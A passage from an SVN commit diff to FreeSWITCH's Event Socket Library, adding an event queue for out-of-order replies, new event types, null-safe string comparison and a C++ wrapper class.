 	
 	if (!handle->connected) {
@@ -466,7 +473,8 @@
 		snprintf(arg_buf, sizeof(arg_buf), "execute-app-arg: %s\n", arg);
 	}
 
-	snprintf(send_buf, sizeof(send_buf), "%s\ncall-command: execute\n%s%s\n", cmd_buf, app_buf, arg_buf);
+	snprintf(send_buf, sizeof(send_buf), "%s\ncall-command: execute\n%s%s%s%s\n", 
+			 cmd_buf, app_buf, arg_buf, handle->event_lock ? el_buf : "", handle->async_execute ? bl_buf : "");
 
 	return esl_send_recv(handle, send_buf);
 }
@@ -557,8 +565,8 @@
 			status = ESL_FAIL;
 			goto end;
 		}
-
-		callback(server_sock, client_sock, echoClntAddr);
+		
+		callback(server_sock, client_sock, &echoClntAddr);
 	}
 
  end:
@@ -638,7 +646,7 @@
 
 	hval = esl_event_get_header(handle->last_event, "content-type");
 
-	if (strcasecmp(hval, "auth/request")) {
+	if (esl_safe_strcasecmp(hval, "auth/request")) {
 		snprintf(handle->err, sizeof(handle->err), "Connection Error");
 		goto fail;
 	}
@@ -648,15 +656,15 @@
 
 	
 	if (esl_recv(handle)) {
-		snprintf(handle->err, sizeof(handle->err), "Connection Error");
+		snprintf(handle->err, sizeof(handle->err), "Authentication Error");
 		goto fail;
 	}
 	
 
 	hval = esl_event_get_header(handle->last_event, "reply-text");
 
-	if (strcasecmp(hval, "+OK accepted")) {
-		snprintf(handle->err, sizeof(handle->err), "Connection Error");
+	if (esl_safe_strcasecmp(hval, "+OK accepted")) {
+		snprintf(handle->err, sizeof(handle->err), "Authentication Error");
 		goto fail;
 	}
 
@@ -678,6 +686,7 @@
 		esl_mutex_lock(mutex);
 	}
 
+	esl_event_safe_destroy(&handle->race_event);
 	esl_event_safe_destroy(&handle->last_event);
 	esl_event_safe_destroy(&handle->last_sr_event);
 	esl_event_safe_destroy(&handle->last_ievent);
@@ -700,20 +709,29 @@
 	return status;
 }
 
-ESL_DECLARE(esl_status_t) esl_recv_event_timed(esl_handle_t *handle, uint32_t ms, esl_event_t **save_event)
+ESL_DECLARE(esl_status_t) esl_recv_event_timed(esl_handle_t *handle, uint32_t ms, int check_q, esl_event_t **save_event)
 {
 	fd_set rfds, efds;
 	struct timeval tv = { 0 };
 	int max, activity;
 	esl_status_t status = ESL_SUCCESS;
 
-	if (!handle->connected) {
+	if (check_q) {
+		esl_mutex_lock(handle->mutex);
+		if (handle->race_event) {
+			esl_mutex_unlock(handle->mutex);
+			return esl_recv_event(handle, check_q, save_event);
+		}
+		esl_mutex_unlock(handle->mutex);
+	}
+
+	if (!handle || !handle->connected || handle->sock == -1) {
 		return ESL_FAIL;
 	}
 
 	tv.tv_usec = ms * 1000;
 
-	esl_mutex_lock(handle->mutex);
+
 	FD_ZERO(&rfds);
 	FD_ZERO(&efds);
 
@@ -731,21 +749,21 @@
 	max = handle->sock + 1;
 	
 	if ((activity = select(max, &rfds, NULL, &efds, &tv)) < 0) {
-		status = ESL_FAIL;
-		goto done;
+		return ESL_FAIL;
 	}
 
+	if (esl_mutex_trylock(handle->mutex) != ESL_SUCCESS) {
+		return ESL_BREAK;
+	}
+
 	if (activity && FD_ISSET(handle->sock, &rfds)) {
-		if (esl_recv_event(handle, save_event)) {
+		if (esl_recv_event(handle, check_q, save_event)) {
 			status = ESL_FAIL;
-			goto done;
 		}
 	} else {
 		status = ESL_BREAK;
 	}
 
- done:
-
 	if (handle->mutex) esl_mutex_unlock(handle->mutex);
 
 	return status;
@@ -753,27 +771,43 @@
 }
 
 
-ESL_DECLARE(esl_status_t) esl_recv_event(esl_handle_t *handle, esl_event_t **save_event)
+ESL_DECLARE(esl_status_t) esl_recv_event(esl_handle_t *handle, int check_q, esl_event_t **save_event)
 {
 	char *c;
 	esl_ssize_t rrval;
 	int crc = 0;
-	esl_event_t *revent = NULL;
+	esl_event_t *revent = NULL, *qevent = NULL;
 	char *beg;
 	char *hname, *hval;
 	char *col;
 	char *cl;
 	esl_ssize_t len;
 	int zc = 0;
-	
 
 	if (!handle->connected) {
 		return ESL_FAIL;
 	}
-
+	
 	esl_mutex_lock(handle->mutex);
+	esl_event_safe_destroy(&handle->last_event);
+	esl_event_safe_destroy(&handle->last_ievent);
+	
+	if (check_q && handle->race_event) {
+		qevent = handle->race_event;
+		handle->race_event = handle->race_event->next;
+		qevent->next = NULL;
 
-	esl_event_safe_destroy(&handle->last_event);
+		if (save_event) {
+			*save_event = qevent;
+			qevent = NULL;
+		} else {
+			handle->last_event = qevent;
+		}
+		
+		esl_mutex_unlock(handle->mutex);
+		return ESL_SUCCESS;
+	}
+
 	memset(handle->header_buf, 0, sizeof(handle->header_buf));
 
 	c = handle->header_buf;
@@ -781,12 +815,11 @@
 
 	while(handle->connected) {
 		rrval = recv(handle->sock, c, 1, 0);
-
 		if (rrval == 0) {
 			if (++zc >= 100) {
 				esl_disconnect(handle);
 				esl_mutex_unlock(handle->mutex);
-				return ESL_FAIL;
+				return ESL_DISCONNECTED;
 			}
 		} else if (rrval < 0) {
 			strerror_r(handle->errnum, handle->err, sizeof(handle->err));
@@ -830,7 +863,7 @@
 			c++;
 		}
 	}
-
+	
 	if (!revent) {
 		goto fail;
 	}
@@ -858,6 +891,7 @@
 
 	if (save_event) {
 		*save_event = revent;
+		revent = NULL;
 	} else {
 		handle->last_event = revent;
 	}
@@ -871,21 +905,14 @@
 
 		hval = esl_event_get_header(revent, "content-type");
 
-		if (!esl_strlen_zero(hval) && !strcasecmp(hval, "text/event-plain") && revent->body) {
-			const char *en;
+		if (!esl_safe_strcasecmp(hval, "text/disconnect-notice") && revent->body) {
+			goto fail;
+		}
+
+		if (!esl_safe_strcasecmp(hval, "text/event-plain") && revent->body) {
 			esl_event_types_t et = ESL_EVENT_COMMAND;
 			char *body = strdup(revent->body);
 			
-			esl_event_safe_destroy(&handle->last_ievent);
-
-			if ((en = esl_stristr("event-name:", body))) {
-				en++;
-				while(*en == ' ') en++;
-				if (en) {
-					esl_name_event(en, &et);
-				}
-			}
-			
 			esl_event_create(&handle->last_ievent, et);
 
 			beg = body;
@@ -909,35 +936,27 @@
 				if (hname && hval) {
 					esl_url_decode(hval);
 					esl_log(ESL_LOG_DEBUG, "RECV INNER HEADER [%s] = [%s]\n", hname, hval);
+					if (!strcasecmp(hname, "event-name")) {
+						esl_event_del_header(handle->last_ievent, "event-name");
+					}
 					esl_event_add_header_string(handle->last_ievent, ESL_STACK_BOTTOM, hname, hval);
+					esl_name_event(hval, &handle->last_ievent->event_id);
 				}
 				
 				beg = c + 1;
+
+				if (*beg == '\n') {
+					beg++;
+					break;
+				}
 			}
-
-			free(body);
-
+			
 			if ((cl = esl_event_get_header(handle->last_ievent, "content-length"))) {
-				esl_ssize_t sofar = 0;
-		
-				len = atol(cl);
-				body = malloc(len+1);
-				esl_assert(body);
-				*(body + len) = '\0';
-				
-				do {
-					esl_ssize_t r;
-					if ((r = recv(handle->sock, body + sofar, len - sofar, 0)) < 0) {
-						strerror_r(handle->errnum, handle->err, sizeof(handle->err));	
-						goto fail;
-					}
-					sofar += r;
-				} while (sofar < len);
-				
-				handle->last_ievent->body = body;
+				handle->last_ievent->body = strdup(beg);
 			}
+			
+			free(body);			
 
-			
 			if (esl_log_level >= 7) {
 				char *foo;
 				esl_event_serialize(handle->last_ievent, &foo, ESL_FALSE);
@@ -1001,20 +1020,51 @@
 		return ESL_FAIL;
 	}
 
+
 	esl_mutex_lock(handle->mutex);
 
+	esl_event_safe_destroy(&handle->last_event);
+	esl_event_safe_destroy(&handle->last_sr_event);
+
+	*handle->last_sr_reply = '\0';
+
 	if ((status = esl_send(handle, cmd))) {
+		esl_mutex_unlock(handle->mutex);
 		return status;
 	}
 
-	status = esl_recv_event(handle, &handle->last_sr_event);
-	
+ recv:	
+
+	status = esl_recv_event(handle, 0, &handle->last_sr_event);
+
 	if (handle->last_sr_event) {
-		hval = esl_event_get_header(handle->last_sr_event, "reply-text");
+		char *ct = esl_event_get_header(handle->last_sr_event,"content-type");
 
-		if (!esl_strlen_zero(hval)) {
-			strncpy(handle->last_sr_reply, hval, sizeof(handle->last_sr_reply));
+		if (strcasecmp(ct, "api/response") && strcasecmp(ct, "command/reply")) {
+			esl_event_t *ep;
+
+			for(ep = handle->race_event; ep && ep->next; ep = ep->next);
+			
+			if (ep) {
+				ep->next = handle->last_sr_event;
+			} else {
+				handle->race_event = handle->last_sr_event;
+			}
+
+			handle->last_sr_event = NULL;
+			
+			esl_mutex_unlock(handle->mutex);
+			esl_mutex_lock(handle->mutex);
+			goto recv;
 		}
+
+		if (handle->last_sr_event) {
+			hval = esl_event_get_header(handle->last_sr_event, "reply-text");
+
+			if (!esl_strlen_zero(hval)) {
+				strncpy(handle->last_sr_reply, hval, sizeof(handle->last_sr_reply));
+			}		
+		}
 	}
 	
 	esl_mutex_unlock(handle->mutex);

Modified: freeswitch/branches/seven/libs/esl/src/esl_event.c (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/esl_event.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/esl_event.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -59,11 +59,13 @@
 */
 static const char *EVENT_NAMES[] = {
 	"CUSTOM",
+	"CLONE",
 	"CHANNEL_CREATE",
 	"CHANNEL_DESTROY",
 	"CHANNEL_STATE",
 	"CHANNEL_ANSWER",
 	"CHANNEL_HANGUP",
+	"CHANNEL_HANGUP_COMPLETE",
 	"CHANNEL_EXECUTE",
 	"CHANNEL_EXECUTE_COMPLETE",
 	"CHANNEL_BRIDGE",
@@ -118,6 +120,12 @@
 	"GENERAL",
 	"COMMAND",
 	"SESSION_HEARTBEAT",
+	"CLIENT_DISCONNECTED",
+	"SERVER_DISCONNECTED",
+	"SEND_INFO",
+	"RECV_INFO",
+	"CALL_SECURE",
+	"NAT",
 	"ALL"
 };
 
@@ -145,7 +153,7 @@
 {
 	*event = NULL;
 
-	if (event_id != ESL_EVENT_CUSTOM && subclass_name) {
+	if ((event_id != ESL_EVENT_CLONE && event_id != ESL_EVENT_CUSTOM) && subclass_name) {
 		return ESL_FAIL;
 	}
 
@@ -155,12 +163,15 @@
 
 	memset(*event, 0, sizeof(esl_event_t));
 
-	(*event)->event_id = event_id;
+	if (event_id != ESL_EVENT_CLONE) {
+		(*event)->event_id = event_id;
+		esl_event_add_header_string(*event, ESL_STACK_BOTTOM, "Event-Name", esl_event_name((*event)->event_id));
+	}
 
 	if (subclass_name) {
 		(*event)->subclass_name = DUP(subclass_name);
 		esl_event_add_header_string(*event, ESL_STACK_BOTTOM, "Event-Subclass", subclass_name);
-	}
+	}	
 	
 	return ESL_SUCCESS;
 }
@@ -361,22 +372,25 @@
 
 ESL_DECLARE(void) esl_event_destroy(esl_event_t **event)
 {
-	esl_event_t *ep = *event;
-	esl_event_header_t *hp, *this;
+	esl_event_t *ep = *event, *this_event;
+	esl_event_header_t *hp, *this_header;
 
-	if (ep) {
-		for (hp = ep->headers; hp;) {
-			this = hp;
+	for (ep = *event ; ep ;) {
+		this_event = ep;
+		ep = ep->next;
+		
+		for (hp = this_event->headers; hp;) {
+			this_header = hp;
 			hp = hp->next;
-			FREE(this->name);
-			FREE(this->value);
-			memset(this, 0, sizeof(*this));
-			FREE(this);
+			FREE(this_header->name);
+			FREE(this_header->value);
+			memset(this_header, 0, sizeof(*this_header));
+			FREE(this_header);
 		}
-		FREE(ep->body);
-		FREE(ep->subclass_name);
-		memset(ep, 0, sizeof(*ep));
-		FREE(ep);
+		FREE(this_event->body);
+		FREE(this_event->subclass_name);
+		memset(this_event, 0, sizeof(*this_event));
+		FREE(this_event);
 	}
 	*event = NULL;
 }
@@ -385,36 +399,19 @@
 
 ESL_DECLARE(esl_status_t) esl_event_dup(esl_event_t **event, esl_event_t *todup)
 {
-	esl_event_header_t *header, *hp, *hp2, *last = NULL;
+	esl_event_header_t *hp;
 
-	if (esl_event_create_subclass(event, todup->event_id, todup->subclass_name) != ESL_SUCCESS) {
+	if (esl_event_create_subclass(event, ESL_EVENT_CLONE, todup->subclass_name) != ESL_SUCCESS) {
 		return ESL_FAIL;
 	}
 
-	if (todup->subclass_name) {
-		(*event)->subclass_name = DUP(todup->subclass_name);
-	}
+	(*event)->event_id = todup->event_id;
+
 	(*event)->event_user_data = todup->event_user_data;
 	(*event)->bind_user_data = todup->bind_user_data;
 
-	hp2 = (*event)->headers;
-
 	for (hp = todup->headers; hp; hp = hp->next) {
-		header = ALLOC(sizeof(*header));
-		esl_assert(header);
-
-		memset(header, 0, sizeof(*header));
-
-		header->name = DUP(hp->name);
-		header->value = DUP(hp->value);
-
-		if (last) {
-			last->next = header;
-		} else {
-			(*event)->headers = header;
-		}
-
-		(*event)->last_header = last = header;
+		esl_event_add_header_string(*event, ESL_STACK_BOTTOM, hp->name, hp->value);
 	}
 
 	if (todup->body) {
@@ -483,7 +480,7 @@
 		if (encode) {
 			esl_url_encode(hp->value, encode_buf, encode_len);
 		} else {
-			esl_snprintf(encode_buf, encode_len, "[%s]", hp->value);
+			esl_snprintf(encode_buf, encode_len, "%s", hp->value);
 		}
 
 		llen = strlen(hp->name) + strlen(encode_buf) + 8;
@@ -530,7 +527,7 @@
 		}
 		
 		if (blen) {
-			snprintf(buf + len, dlen - len, "\n%s", event->body);
+			snprintf(buf + len, dlen - len, "Content-Length: %d\n\n%s", (int)strlen(event->body), event->body);
 		} else {
 			snprintf(buf + len, dlen - len, "\n");
 		}

Copied: freeswitch/branches/seven/libs/esl/src/esl_oop.cpp (from rev 14471, freeswitch/trunk/libs/esl/src/esl_oop.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/src/esl_oop.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/src/esl_oop.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,424 @@
+#include <esl.h>
+#include <esl_oop.h>
+
+#define connection_construct_common() memset(&handle, 0, sizeof(handle))
+#define event_construct_common() event = NULL; serialized_string = NULL; mine = 0; hp = NULL
+
+void eslSetLogLevel(int level)
+{
+	esl_global_set_default_logger(level);
+}
+
+ESLconnection::ESLconnection(const char *host, const char *port, const char *password)
+{
+	connection_construct_common();
+	int x_port = atoi(port);
+
+	esl_connect(&handle, host, x_port, password);
+}
+
+
+ESLconnection::ESLconnection(int socket)
+{
+	connection_construct_common();
+	esl_attach_handle(&handle, (esl_socket_t)socket, NULL);
+}
+
+ESLconnection::~ESLconnection()
+{
+	if (handle.connected) {
+		esl_disconnect(&handle);
+	}
+
+}
+
+int ESLconnection::socketDescriptor()
+{
+	if (handle.connected) {
+        return (int) handle.sock;
+    }
+
+	return -1;
+}
+
+
+int ESLconnection::disconnect()
+{
+	if (handle.connected) {
+        return esl_disconnect(&handle);
+    }
+
+	return 0;
+}
+
+int ESLconnection::connected()
+{
+	return handle.connected;
+}
+
+int ESLconnection::send(const char *cmd)
+{
+	return esl_send(&handle, cmd);
+}
+
+ESLevent *ESLconnection::sendRecv(const char *cmd)
+{
+	if (esl_send_recv(&handle, cmd) == ESL_SUCCESS) {
+		esl_event_t *event;
+		esl_event_dup(&event, handle.last_sr_event);
+		return new ESLevent(event, 1);
+	}
+	
+	return NULL;
+}
+
+ESLevent *ESLconnection::api(const char *cmd, const char *arg)
+{
+	size_t len;
+	char *cmd_buf;
+	
+	if (!cmd) {
+		return NULL;
+	}
+
+	len = strlen(cmd) + (arg ? strlen(arg) : 0) + 10;
+
+	cmd_buf = (char *) malloc(len + 1);
+	assert(cmd_buf);
+
+	snprintf(cmd_buf, len, "api %s %s", cmd, arg ? arg : "");
+	*(cmd_buf + (len)) = '\0';
+
+
+	if (esl_send_recv(&handle, cmd_buf) == ESL_SUCCESS) {
+		esl_event_t *event;
+		esl_event_dup(&event, handle.last_sr_event);
+		return new ESLevent(event, 1);
+	}
+	
+	free(cmd_buf);
+
+	return NULL;
+}
+
+ESLevent *ESLconnection::bgapi(const char *cmd, const char *arg)
+{
+	size_t len;
+	char *cmd_buf;
+	
+	if (!cmd) {
+		return NULL;
+	}
+
+	len = strlen(cmd) + (arg ? strlen(arg) : 0) + 10;
+
+	cmd_buf = (char *) malloc(len + 1);
+	assert(cmd_buf);
+
+	snprintf(cmd_buf, len, "bgapi %s %s", cmd, arg ? arg : "");
+	*(cmd_buf + (len)) = '\0';
+
+	if (esl_send_recv(&handle, cmd_buf) == ESL_SUCCESS) {
+		esl_event_t *event;
+		esl_event_dup(&event, handle.last_sr_event);
+		return new ESLevent(event, 1);
+	}
+
+	free(cmd_buf);
+	
+	return NULL;
+}
+
+ESLevent *ESLconnection::getInfo()
+{
+	if (handle.connected && handle.info_event) {
+		esl_event_t *event;
+		esl_event_dup(&event, handle.info_event);
+		return new ESLevent(event, 1);
+	}
+	
+	return NULL;
+}
+
+int ESLconnection::setAsyncExecute(const char *val)
+{
+	if (val) {
+		handle.async_execute = esl_true(val);
+	}
+	return handle.async_execute;
+}
+
+int ESLconnection::setEventLock(const char *val)
+{
+	if (val) {
+		handle.event_lock = esl_true(val);
+	}
+	return handle.event_lock;
+}
+
+int ESLconnection::execute(const char *app, const char *arg, const char *uuid)
+{
+	return esl_execute(&handle, app, arg, uuid);
+}
+
+
+int ESLconnection::executeAsync(const char *app, const char *arg, const char *uuid)
+{
+	int async = handle.async_execute;
+	int r;
+
+	handle.async_execute = 1;
+	r = esl_execute(&handle, app, arg, uuid);
+	handle.async_execute = async;
+
+	return r;
+}
+
+int ESLconnection::sendEvent(ESLevent *send_me)
+{
+	return esl_sendevent(&handle, send_me->event);
+}
+
+ESLevent *ESLconnection::recvEvent()
+{
+	if (esl_recv_event(&handle, 1, NULL) == ESL_SUCCESS) {
+		esl_event_t *e = handle.last_ievent ? handle.last_ievent : handle.last_event;
+		if (e) {
+			esl_event_t *event;
+			esl_event_dup(&event, e);
+			return new ESLevent(event, 1);
+		}
+	}
+
+	return new ESLevent("server_disconnected");
+}
+
+ESLevent *ESLconnection::recvEventTimed(int ms)
+{
+
+	if (esl_recv_event_timed(&handle, ms, 1, NULL) == ESL_SUCCESS) {
+		esl_event_t *e = handle.last_ievent ? handle.last_ievent : handle.last_event;
+		if (e) {
+			esl_event_t *event;
+			esl_event_dup(&event, e);
+			return new ESLevent(event, 1);
+		}
+    }
+	
+	return NULL;
+}
+
+ESLevent *ESLconnection::filter(const char *header, const char *value)
+{
+	esl_status_t status = esl_filter(&handle, header, value);
+
+	if (status == ESL_SUCCESS && handle.last_sr_event) {
+		esl_event_t *event;
+		esl_event_dup(&event, handle.last_sr_event);
+		return new ESLevent(event, 1);
+	}
+
+	return NULL;
+
+}
+
+int ESLconnection::events(const char *etype, const char *value)
+{
+	esl_event_type_t type_id = ESL_EVENT_TYPE_PLAIN;
+
+	if (!strcmp(etype, "xml")) {
+		type_id = ESL_EVENT_TYPE_XML;
+	}
+
+	return esl_events(&handle, type_id, value);
+}
+
+// ESLevent
+///////////////////////////////////////////////////////////////////////
+
+ESLevent::ESLevent(const char *type, const char *subclass_name)
+{
+	esl_event_types_t event_id;
+	
+	event_construct_common();
+
+	if (esl_name_event(type, &event_id) != ESL_SUCCESS) {
+		event_id = ESL_EVENT_MESSAGE;
+	}
+
+	if (!esl_strlen_zero(subclass_name) && event_id != ESL_EVENT_CUSTOM) {
+		esl_log(ESL_LOG_WARNING, "Changing event type to custom because you specified a subclass name!\n");
+		event_id = ESL_EVENT_CUSTOM;
+	}
+
+	if (esl_event_create_subclass(&event, event_id, subclass_name) != ESL_SUCCESS) {
+		esl_log(ESL_LOG_ERROR, "Failed to create event!\n");
+		event = NULL;
+	}
+
+	serialized_string = NULL;
+	mine = 1;
+}
+
+ESLevent::ESLevent(esl_event_t *wrap_me, int free_me)
+{
+	event_construct_common();
+	event = wrap_me;
+	mine = free_me;
+	serialized_string = NULL;
+}
+
+
+ESLevent::ESLevent(ESLevent *me)
+{
+	/* workaround for silly php thing */
+	event = me->event;
+	mine = me->mine;
+	serialized_string = NULL;
+	me->event = NULL;
+	me->mine = 0;
+	esl_safe_free(me->serialized_string);
+}
+
+ESLevent::~ESLevent()
+{
+	
+	if (serialized_string) {
+		free(serialized_string);
+	}
+
+	if (event && mine) {
+		esl_event_destroy(&event);
+	}
+}
+
+const char *ESLevent::nextHeader(void)
+{
+	const char *name = NULL;
+
+	if (hp) {
+		name = hp->name;
+		hp = hp->next;
+	}
+
+	return name;
+}
+
+const char *ESLevent::firstHeader(void)
+{
+	if (event) {
+		hp = event->headers;
+	}
+
+	return nextHeader();
+}
+
+const char *ESLevent::serialize(const char *format)
+{
+	this_check("");
+
+	esl_safe_free(serialized_string);
+	
+	if (!event) {
+		return "";
+	}
+
+	if (esl_event_serialize(event, &serialized_string, ESL_TRUE) == ESL_SUCCESS) {
+		return serialized_string;
+	}
+
+	return "";
+
+}
+
+bool ESLevent::setPriority(esl_priority_t priority)
+{
+	this_check(false);
+
+	if (event) {
+        esl_event_set_priority(event, priority);
+		return true;
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to setPriority an event that does not exist!\n");
+    }
+	return false;
+}
+
+const char *ESLevent::getHeader(const char *header_name)
+{
+	this_check("");
+
+	if (event) {
+		return esl_event_get_header(event, header_name);
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to getHeader an event that does not exist!\n");
+	}
+	return NULL;
+}
+
+bool ESLevent::addHeader(const char *header_name, const char *value)
+{
+	this_check(false);
+
+	if (event) {
+		return esl_event_add_header_string(event, ESL_STACK_BOTTOM, header_name, value) == ESL_SUCCESS ? true : false;
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to addHeader an event that does not exist!\n");
+	}
+
+	return false;
+}
+
+bool ESLevent::delHeader(const char *header_name)
+{
+	this_check(false);
+
+	if (event) {
+		return esl_event_del_header(event, header_name) == ESL_SUCCESS ? true : false;
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to delHeader an event that does not exist!\n");
+	}
+
+	return false;
+}
+
+
+bool ESLevent::addBody(const char *value)
+{
+	this_check(false);
+
+	if (event) {
+		return esl_event_add_body(event, "%s", value) == ESL_SUCCESS ? true : false;
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to addBody an event that does not exist!\n");
+	}
+	
+	return false;
+}
+
+char *ESLevent::getBody(void)
+{
+	
+	this_check((char *)"");
+
+	if (event) {
+		return esl_event_get_body(event);
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to getBody an event that does not exist!\n");
+	}
+	
+	return NULL;
+}
+
+const char *ESLevent::getType(void)
+{
+	this_check("");
+
+	if (event) {
+		return esl_event_name(event->event_id);
+	} else {
+		esl_log(ESL_LOG_ERROR, "Trying to getType an event that does not exist!\n");
+	}
+	
+	return (char *) "invalid";
+}

Modified: freeswitch/branches/seven/libs/esl/src/include/esl.h (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/include/esl.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/include/esl.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,9 +36,9 @@
 
 #include <stdarg.h>
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 extern "C" {
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 #define esl_copy_string(_x, _y, _z) strncpy(_x, _y, _z - 1)
 #define esl_set_string(_x, _y) esl_copy_string(_x, _y, sizeof(_x))
@@ -174,6 +174,8 @@
 #include <stdlib.h>
 #include <string.h>
 #ifndef WIN32
+#include <sys/types.h>
+#include <sys/select.h>
 #include <netinet/tcp.h>
 #include <sys/signal.h>
 #include <unistd.h>
@@ -248,7 +250,8 @@
 typedef enum {
 	ESL_SUCCESS,
 	ESL_FAIL,
-	ESL_BREAK
+	ESL_BREAK,
+	ESL_DISCONNECTED
 } esl_status_t;
 
 #include <esl_threadmutex.h>
@@ -265,11 +268,14 @@
 	char last_sr_reply[1024];
 	esl_event_t *last_event;
 	esl_event_t *last_sr_event;
+	esl_event_t *race_event;
 	esl_event_t *last_ievent;
 	esl_event_t *info_event;
 	int connected;
 	struct sockaddr_in addr;
 	esl_mutex_t *mutex;
+	int async_execute;
+	int event_lock;
 } esl_handle_t;
 
 typedef enum {
@@ -321,9 +327,9 @@
 ESL_DECLARE(int) esl_snprintf(char *buffer, size_t count, const char *fmt, ...);
 
 
-typedef void (*esl_listen_callback_t)(esl_socket_t server_sock, esl_socket_t client_sock, struct sockaddr_in addr);
+typedef void (*esl_listen_callback_t)(esl_socket_t server_sock, esl_socket_t client_sock, struct sockaddr_in *addr);
 
-ESL_DECLARE(esl_status_t) esl_attach_handle(esl_handle_t *handle, esl_socket_t socket, struct sockaddr_in addr);
+ESL_DECLARE(esl_status_t) esl_attach_handle(esl_handle_t *handle, esl_socket_t socket, struct sockaddr_in *addr);
 ESL_DECLARE(esl_status_t) esl_listen(const char *host, esl_port_t port, esl_listen_callback_t callback);
 ESL_DECLARE(esl_status_t) esl_execute(esl_handle_t *handle, const char *app, const char *arg, const char *uuid);
 ESL_DECLARE(esl_status_t) esl_sendevent(esl_handle_t *handle, esl_event_t *event);
@@ -331,21 +337,29 @@
 ESL_DECLARE(esl_status_t) esl_connect(esl_handle_t *handle, const char *host, esl_port_t port, const char *password);
 ESL_DECLARE(esl_status_t) esl_disconnect(esl_handle_t *handle);
 ESL_DECLARE(esl_status_t) esl_send(esl_handle_t *handle, const char *cmd);
-ESL_DECLARE(esl_status_t) esl_recv_event(esl_handle_t *handle, esl_event_t **save_event);
-ESL_DECLARE(esl_status_t) esl_recv_event_timed(esl_handle_t *handle, uint32_t ms, esl_event_t **save_event);
+ESL_DECLARE(esl_status_t) esl_recv_event(esl_handle_t *handle, int check_q, esl_event_t **save_event);
+ESL_DECLARE(esl_status_t) esl_recv_event_timed(esl_handle_t *handle, uint32_t ms, int check_q, esl_event_t **save_event);
 ESL_DECLARE(esl_status_t) esl_send_recv(esl_handle_t *handle, const char *cmd);
 ESL_DECLARE(esl_status_t) esl_filter(esl_handle_t *handle, const char *header, const char *value);
 ESL_DECLARE(esl_status_t) esl_events(esl_handle_t *handle, esl_event_type_t etype, const char *value);
 
-#define esl_recv(_h) esl_recv_event(_h, NULL)
-#define esl_recv_timed(_h, _ms) esl_recv_event_timed(_h, _ms, NULL)
+#define esl_recv(_h) esl_recv_event(_h, 0, NULL)
+#define esl_recv_timed(_h, _ms) esl_recv_event_timed(_h, _ms, 0, NULL)
 
+static __inline__ int esl_safe_strcasecmp(const char *s1, const char *s2)
+{
+	if (!(s1 && s2)) {
+		return 1;
+	}
 
-#ifdef _cplusplus
+	return strcasecmp(s1, s2);
 }
-#endif /* defined(_cplusplus) */
 
+#ifdef __cplusplus
+}
+#endif /* defined(__cplusplus) */
 
+
 #endif /* defined(_ESL_H_) */
 
 /* For Emacs:

Modified: freeswitch/branches/seven/libs/esl/src/include/esl_config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/include/esl_config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/include/esl_config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -54,9 +54,9 @@
 
 #include "esl.h"
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 extern "C" {
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 
 #define ESL_URL_SEPARATOR "://"
@@ -160,9 +160,9 @@
 
 /** @} */
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 }
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 #endif /* defined(ESL_CONFIG_H) */
 

Modified: freeswitch/branches/seven/libs/esl/src/include/esl_event.h (14471 => 14472)


--- freeswitch/branches/seven/libs/esl/src/include/esl_event.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/esl/src/include/esl_event.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,9 +36,9 @@
 
 #include <esl.h>
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 extern "C" {
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 typedef enum {
 	ESL_STACK_BOTTOM,
@@ -47,11 +47,13 @@
 
 typedef enum {
 	ESL_EVENT_CUSTOM,
+	ESL_EVENT_CLONE,
 	ESL_EVENT_CHANNEL_CREATE,
 	ESL_EVENT_CHANNEL_DESTROY,
 	ESL_EVENT_CHANNEL_STATE,
 	ESL_EVENT_CHANNEL_ANSWER,
 	ESL_EVENT_CHANNEL_HANGUP,
+	ESL_EVENT_CHANNEL_HANGUP_COMPLETE,
 	ESL_EVENT_CHANNEL_EXECUTE,
 	ESL_EVENT_CHANNEL_EXECUTE_COMPLETE,
 	ESL_EVENT_CHANNEL_BRIDGE,
@@ -106,6 +108,12 @@
 	ESL_EVENT_GENERAL,
 	ESL_EVENT_COMMAND,
 	ESL_EVENT_SESSION_HEARTBEAT,
+	ESL_EVENT_CLIENT_DISCONNECTED,
+	ESL_EVENT_SERVER_DISCONNECTED,
+	ESL_EVENT_SEND_INFO,
+	ESL_EVENT_RECV_INFO,
+	ESL_EVENT_CALL_SECURE,
+	ESL_EVENT_NAT,
 	ESL_EVENT_ALL
 } esl_event_types_t;
 
@@ -272,9 +280,9 @@
 
 ///\}
 
-#ifdef _cplusplus
+#ifdef __cplusplus
 }
-#endif /* defined(_cplusplus) */
+#endif /* defined(__cplusplus) */
 
 #endif /* defined(ESL_EVENT_H) */
 

Copied: freeswitch/branches/seven/libs/esl/src/include/esl_oop.h (from rev 14471, freeswitch/trunk/libs/esl/src/include/esl_oop.h) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/src/include/esl_oop.h	                        (rev 0)
